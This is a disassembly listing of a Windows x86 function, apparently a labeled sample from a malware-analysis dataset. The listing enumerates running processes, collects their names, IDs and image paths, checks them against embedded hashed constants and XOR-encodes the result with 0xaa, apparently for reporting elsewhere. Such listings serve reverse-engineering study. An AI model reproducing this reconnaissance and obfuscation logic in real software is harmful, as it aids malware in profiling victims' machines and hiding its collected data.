Function at 0x403643
Capabilities:
Encode data using xor
Enumerate processes
Get process image filename

Disassembly:
push 0xf4c
mov eax, 0x439144
call fcn.00424c9a
mov eax, dword [ebp + 8]
mov dword [ebp - 0xb1c], eax
mov eax, dword [ebp + 0xc]
mov esi, 0x1fc
push esi
mov dword [ebp - 0xb14], eax
lea eax, [ebp - 0xd54]
mov ebx, ecx
push 0
push eax
mov dword [ebp - 0xb10], ebx
call fcn.00425210
add esp, 0xc
push esi
lea eax, [ebp - 0xf54]
push 0
push eax
mov dword [ebp - 0xd58], 0xd1de2a3f
mov dword [ebp - 0xd54], 0x68ea296c
mov dword [ebp - 0xd50], 0x5ab2c665
mov dword [ebp - 0xd4c], 0xcfd54cbd
mov dword [ebp - 0xd48], 0x981d563b
mov dword [ebp - 0xd44], 0xf04cdd8d
mov dword [ebp - 0xd40], 0xc3175f21
mov dword [ebp - 0xd3c], 0xc75da922
mov dword [ebp - 0xd38], 0x37b479f7
mov dword [ebp - 0xd34], 0x82a759a1
mov dword [ebp - 0xd30], 0x9141f2d5
mov dword [ebp - 0xd2c], 0xc5e45b88
mov dword [ebp - 0xd28], 0xfdd2940a
mov dword [ebp - 0xd24], 0xf006256b
mov dword [ebp - 0xd20], 0x5706b464
mov dword [ebp - 0xd1c], 0x277db966
mov dword [ebp - 0xd18], 0x51dd49b2
mov dword [ebp - 0xd14], 0x423ff333
mov dword [ebp - 0xd10], 0xf410cf18
mov dword [ebp - 0xd0c], 0x70e8f7f6
mov dword [ebp - 0xd08], 0x543e43f6
mov dword [ebp - 0xd04], 0xad98a7d4
mov dword [ebp - 0xd00], 0x84a2226d
mov dword [ebp - 0xcfc], 0xd8197e93
mov dword [ebp - 0xcf8], 0x4b2c03ad
mov dword [ebp - 0xcf4], 0x68bf2019
mov dword [ebp - 0xcf0], 0xe2c00cfb
mov dword [ebp - 0xcec], 0x46cd3d11
call fcn.00425210
add esp, 0xc
xor eax, eax
mov byte [ebx], al
push 8
pop ecx
mov byte [ebp - 0x34], 0
lea edi, [ebp - 0x33]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0xb14]
mov byte [eax], 0
xor eax, eax
lea edi, [ebp - 0x48]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
stosb byte es:[edi], al
pop ebx
lea edi, [ebp - 0x48]
mov dword [ebp - 0xf58], 0x529e3e22
mov dword [ebp - 0xf54], 0x885b697c
mov dword [ebp - 0xf50], 0xfc69eb96
mov dword [ebp - 0xf4c], 0x67b50ab3
call fcn.004088f1
mov eax, edi
push eax
lea ecx, [ebp - 0x96c]
call fcn.0040229e
xor ebx, ebx
push 0x440260
lea eax, [ebp - 0x9dc]
mov dword [ebp - 4], ebx
push eax
call fcn.00404040
lea esi, [ebp - 0x9dc]
mov byte [ebp - 4], 1
call fcn.004040e0
push eax
lea eax, [ebp - 0x96c]
push eax
call fcn.00403c71
push ebx
push 2
mov dword [ebp - 0xb08], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0xb18], eax
cmp eax, 0xffffffff
je 0x403a15
lea ecx, [ebp - 0xb08]
push ecx
push eax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
jne 0x403a01
push 8
mov eax, 0x3f3f3f3f
pop ecx
lea edi, [ebp - 0x34]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xae4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403890
sub eax, edx
cmp eax, 0x10
jae 0x4038b2
lea eax, [ebp - 0xae4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4038a7
sub eax, edx
jmp 0x4038b5
push 0x10
pop eax
push eax
push ebx
lea eax, [ebp - 0xae4]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00422b50
lea eax, [ebp - 0x34]
add esp, 0x10
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4038d0
sub eax, esi
inc eax
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00422d82
push 0x6c
call fcn.00412d50
add esp, 0xc
cmp eax, ebx
je 0x4038fb
call fcn.00402f15
mov esi, eax
jmp 0x4038fd
xor esi, esi
lea eax, [ebp - 0x34]
push eax
push 0x20
pop eax
call fcn.004070cc
mov ecx, esi
call fcn.00407160
lea eax, [ebp - 0xd58]
lea edi, [esi + 0x58]
push eax
mov eax, edi
call fcn.004035dd
mov dword [ebp - 0xb20], eax
pop ecx
lea eax, [ebp - 0xf58]
push eax
mov eax, edi
call fcn.004035dd
pop ecx
push esi
mov edi, eax
call fcn.00412d7f
pop ecx
cmp dword [ebp - 0xb20], ebx
je 0x403951
mov eax, dword [ebp - 0xb10]
mov byte [eax], 1
cmp edi, ebx
je 0x40395e
mov eax, dword [ebp - 0xb14]
mov byte [eax], 1
mov esi, 0x104
push esi
lea eax, [ebp - 0x150]
push ebx
push eax
call fcn.00425210
add esp, 0xc
push dword [ebp - 0xb00]
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebx
je 0x4039a1
push esi
lea eax, [ebp - 0x150]
push eax
push edi
call sub.PSAPI.DLL_GetProcessImageFileNameA
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0xaf0]
lea eax, [ebp - 0xae4]
push dword [ebp - 0xb00]
push eax
push str._s__i___i___s__r_n
lea eax, [ebp - 0x950]
push 0x400
push eax
call fcn.004227dc
add esp, 0x1c
lea eax, [ebp - 0x950]
push eax
lea eax, [ebp - 0x96c]
push eax
call fcn.00403c71
lea eax, [ebp - 0xb08]
push eax
push dword [ebp - 0xb18]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40387a
cmp dword [ebp - 0xb18], ebx
je 0x403a15
push dword [ebp - 0xb18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xb14]
cmp byte [eax], bl
je 0x403c0e
push 0x440308
lea eax, [ebp - 0x9dc]
call fcn.004040c8
lea esi, [ebp - 0x9dc]
call fcn.004040e0
push eax
lea eax, [ebp - 0x96c]
push eax
call fcn.00403c71
mov eax, dword [ebp - 0x958]
push dword [ebp - 0x958]
shr eax, 4
shl eax, 4
push eax
lea ecx, [ebp - 0x96c]
call fcn.004022dc
sub esp, 0x1c
lea eax, [ebp - 0x96c]
mov ecx, esp
mov dword [ebp - 0xb10], esp
push eax
mov dword [ebp - 0xb30], 4
mov dword [ebp - 0xb2c], 8
mov dword [ebp - 0xb28], 0xe
mov dword [ebp - 0xb24], 0x10
call fcn.004025ac
lea ecx, [ebp - 0xb58]
call fcn.004019da
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0xb58]
call fcn.00402614
xor edi, edi
cmp dword [ebp - 0x958], ebx
jle 0x403afe
lea eax, [ebp - 0x96c]
call fcn.00401cde
mov al, byte [eax]
xor al, 0xaa
mov byte [ebp - 0xb09], al
lea eax, [ebp - 0x96c]
call fcn.00401cde
mov cl, byte [ebp - 0xb09]
inc edi
mov byte [eax], cl
cmp edi, dword [ebp - 0x958]
jl 0x403acd
cmp dword [ebp - 0x954], 0x10
mov eax, dword [ebp - 0x968]
jae 0x403b13
lea eax, [ebp - 0x968]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xb10], esp
push eax
push ecx
mov ecx, dword [ebp - 0x958]
lea eax, [ebp - 0xb30]
push eax
call fcn.00401bb7
lea ecx, [ebp - 0xb58]
call fcn.004019da
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x96c]
mov byte [ebp - 4], 2
call fcn.0040251a
push ebx
push esi
lea ecx, [ebp - 0xb58]
call fcn.00402614
push ebx
lea ecx, [ebp - 0x988]
mov dword [ebp - 0x970], 0xf
call fcn.004025f8
lea eax, [ebp - 0x96c]
push eax
lea eax, [ebp - 0x9a4]
push eax
mov byte [ebp - 4], 3
call fcn.00403dd0
lea eax, [ebp - 0x550]
push 0x440368
push eax
mov byte [ebp - 4], 4
call fcn.00402efa
add esp, 0x10
lea ecx, [ebp - 0x550]
call fcn.00408933
lea eax, [ebp - 0x550]
push eax
lea ecx, [ebp - 0xb3c]
call fcn.0040229e
push ebx
lea eax, [ebp - 0x9a4]
push eax
push esi
lea eax, [ebp - 0x988]
push eax
lea eax, [ebp - 0xb3c]
push eax
push dword [ebp - 0xb1c]
mov byte [ebp - 4], 5
call fcn.0041193c
push ebx
push esi
lea ecx, [ebp - 0xb3c]
call fcn.00402614
push ebx
push esi
lea ecx, [ebp - 0x9a4]
call fcn.00402614
push ebx
push esi
lea ecx, [ebp - 0x988]
call fcn.00402614
jmp 0x403c2f
xor edi, edi
cmp dword [ebp - 0x958], ebx
jle 0x403c2f
lea eax, [ebp - 0x96c]
call fcn.00401cde
inc edi
mov byte [eax], 0x20
cmp edi, dword [ebp - 0x958]
jl 0x403c18
lea eax, [ebp - 0x9dc]
call fcn.004041bd
push ebx
push 1
lea ecx, [ebp - 0x96c]
call fcn.00402614
call fcn.00424d1d
ret 8